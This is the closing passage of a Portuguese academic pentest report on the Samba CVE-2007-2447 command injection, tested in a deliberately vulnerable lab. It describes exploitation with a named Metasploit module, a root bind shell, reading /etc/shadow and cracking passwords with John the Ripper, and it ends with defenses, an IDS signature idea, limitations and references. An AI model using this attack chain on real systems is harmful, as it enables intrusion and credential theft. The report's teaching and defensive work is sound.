<code>username map</code> estático	Ausente	Configurado
Exploit Metasploit (genérico)	Executa comando	Não executa comando
Arquivo <code>/tmp/msf_samba_funcionou</code>	Criado	Não criado
Shell bind obtido	Sim	Não
Leitura de <code>/etc/shadow</code>	Possível	Impossível
Quebra de senhas com John	Possível	Impossível
Injeção no campo <code>Account</code> executa comando	Sim	Não (pacote chega, não executa)
Serviço desligado?	Não	Não
Defesa baseada em atualização?	Não	Não

A tabela sintetiza o resultado central do trabalho: a vulnerabilidade foi neutralizada, incluindo toda a cadeia de pós-exploração, **sem perda de disponibilidade** e **sem recorrer à atualização ou à remoção do serviço**, isolando precisamente a causa-raiz da falha.

15. Estratégias complementares de defesa

Embora a mitigação central tenha sido a substituição do `username map script` por um mapeamento estático, em um ambiente de produção recomenda-se uma abordagem de defesa em profundidade, combinando várias camadas:

- **Atualização de software**, manter o Samba atualizado é uma boa prática essencial, embora neste trabalho ela não tenha sido a defesa central (o objetivo foi demonstrar a remoção da causa-raiz de configuração).
- **Política de senhas fortes**, senhas longas e aleatórias derrotam o John the Ripper. Como visto na demonstração, senhas fracas como `msfadmin` caem em segundos. Senhas com alta entropia tornam a quebra computacionalmente inviável.

- **Hashing moderno**, substituir `$1$` (MD5-crypt, usado no Metasploitable2) por `$6$` (SHA-512) ou `$y$` (yescrypt), tornando cada tentativa de quebra muito mais cara em tempo de CPU.
- **Princípio do menor privilégio**, se o `smbd` não rodasse como `root`, o comando injetado não conseguiria ler o `/etc/shadow`. O impacto foi amplificado justamente porque o serviço rodava como `root`. Configurá-lo com um usuário dedicado e sem privilégios reduz o raio de blast.
- **Permissões corretas de arquivos**, `/etc/shadow` deve permanecer legível apenas pelo `root` (configuração padrão segura).
- **Restrição de acesso SMB**, limitar quem pode alcançar as portas 139/445 por meio de regras de firewall e das diretivas `hosts allow/hosts deny` do próprio Samba.
- **Segmentação de rede**, isolar serviços de compartilhamento de arquivos em segmentos de rede dedicados, reduzindo a exposição.
- **Monitoramento de logs e IDS/IPS**, como a análise de pacotes mostrou, a injeção é visível no tráfego SMB (campo *Account* com metacaracteres de shell). Uma assinatura de IDS poderia detectar nomes de usuário com ``ounohup` em pacotes SMB.
- **Auditoria de configurações inseguras**, revisar periodicamente o `smb.conf` e outros arquivos de configuração em busca de diretivas perigosas, como o uso de scripts externos alimentados por entrada do cliente.

16. Limitações do experimento

- O ambiente foi **propositalmente vulnerável** (imagem `metasploitable2`), o que não reflete a postura de segurança de sistemas reais devidamente atualizados.
- O experimento foi conduzido em **container/ambiente local**, com características de rede específicas (rede Docker isolada) que condicionam a escolha de técnicas de exploração, por exemplo, o shell bind foi possível porque o atacante alcança diretamente a porta aberta na vítima dentro da mesma rede bridge.
- As credenciais extraídas são as **padrão do Metasploitable2**, de conhecimento público. Não representam senhas reais de terceiros.
- Os resultados **não devem ser generalizados** sem o devido contexto. Eles ilustram um cenário didático e controlado.
- **Não houve persistência** no sistema vítima.
- **Não houve movimentação lateral** para outros sistemas.
- **Não houve exfiltração** para fora do ambiente autorizado.
- **Não houve tentativa de ocultação** de rastros.

Essas limitações são, em grande parte, deliberadas e alinhadas aos princípios éticos do trabalho.

17. Divisão entre integrantes

A divisão segue as seções e gravações do roteiro de apresentação.

Integrante	Nº USP	Seções do roteiro	Responsabilidade

Cauê Paiva Lira	14675416	Seções 1 e 2	Introdução, objetivos e contexto ético, fundamentação teórica (Samba, SMB/CIFS, exploit, payload, Metasploit, CVE-2007-2447 e a diretiva <code>username map script</code>)
Pedro Henrique Ferreira Silva	14677526	Seções 3 e 4	Análise da vulnerabilidade e impacto na tríade CIA com análise de protocolo (campo <i>Account / Session Setup AndX Request</i>)
Enzo Tonon Morente	14568476	Gravações 1 a 5	Execução prática: ambiente Docker e reconhecimento, exploração com Metasploit, pós-exploração (shell, credenciais, John, Wireshark), mitigação e validação da defesa
João Pedro Alves Notari Godoy	14582076	Seção 5	Defesa em profundidade e conclusão

18. Conclusão

Este trabalho demonstrou, em ambiente controlado e virtualizado, o ciclo completo de um pentest acadêmico aplicado à vulnerabilidade **CVE-2007-2447** do Samba. Por meio do **Metasploit Framework** e do módulo `exploit/multi/samba/usermap_script`, comprovou-se a **execução remota de comandos** sem necessidade de credenciais, evidenciada de forma segura pela criação de um arquivo de prova no sistema vítima.

A fase de **pós-exploração** aprofundou o impacto demonstrado: trocando o payload por um shell bind, foi possível obter um terminal com privilégios de root, ler o arquivo `/etc/shadow` e quebrar as senhas de todos os usuários com **John the Ripper** em segundos, provando comprometimento da **Confidencialidade** (tríade CIA). A **análise de pacotes SMB** com Wireshark tornou o ataque visível no nível do protocolo, evidenciando que a injeção viaja no campo de nome de usuário antes de qualquer autenticação, comprovando que a falha é injeção de comando, não "senha fraca".

A escolha do tema mostrou-se acertada: diferentemente das alternativas inicialmente cogitadas, o cenário Samba permitiu explorar uma falha técnica real com causa-raiz clara. Mais importante, possibilitou propor e **validar uma defesa de qualidade**: a substituição do `username map script` por um `username map` estático eliminou o caminho explorável **mantendo o serviço plenamente ativo**, e interrompeu não apenas a prova de conceito inicial, mas **toda a cadeia de pós-exploração** (shell, leitura de shadow, quebra de senhas). A análise de rede pós-defesa ilustrou com precisão que a proteção não bloqueia o pacote, mas trata a entrada de forma segura.

A comparação antes/depois sintetiza o resultado: a vulnerabilidade foi neutralizada sem recorrer à desativação do serviço nem à mera atualização, isolando precisamente a causa do problema. Conclui-se que o tratamento adequado de entradas controladas pelo cliente, aliado a uma abordagem de defesa em profundidade (senhas fortes, hashing moderno, menor privilégio e monitoramento), é fundamental para a segurança de serviços de compartilhamento de arquivos.

19. Referências

1. THE SAMBA TEAM. *CVE-2007-2447: Remote command injection vulnerability*. Disponível em: <https://www.samba.org/samba/security/CVE-2007-2447.html>. Acesso em: 12 jun. 2026.
2. RAPID7. *Samba "username map script" Command Execution — Metasploit Module*. Disponível em: https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script/. Acesso em: 12 jun. 2026.
3. RAPID7. *Metasploit Framework Documentation*. Disponível em: <https://docs.metasploit.com/>. Acesso em: 12 jun. 2026.
4. NMAP PROJECT. *Nmap Reference Guide (Man Page)*. Disponível em: <https://nmap.org/book/man.html>. Acesso em: 12 jun. 2026.
5. DOCKER INC. *Docker Documentation*. Disponível em: <https://docs.docker.com/>. Acesso em: 12 jun. 2026.
6. THE SAMBA TEAM. *smb.conf — The configuration file for the Samba suite (man page)*. Disponível em: <https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html>. Acesso em: 12 jun. 2026.
7. OPENWALL PROJECT. *John the Ripper password cracker*. Disponível em: <https://www.openwall.com/john/>. Acesso em: 13 jun. 2026.
8. WIRESHARK FOUNDATION. *Wireshark User's Guide*. Disponível em: https://www.wireshark.org/docs/wsug_html_chunked/. Acesso em: 13 jun. 2026.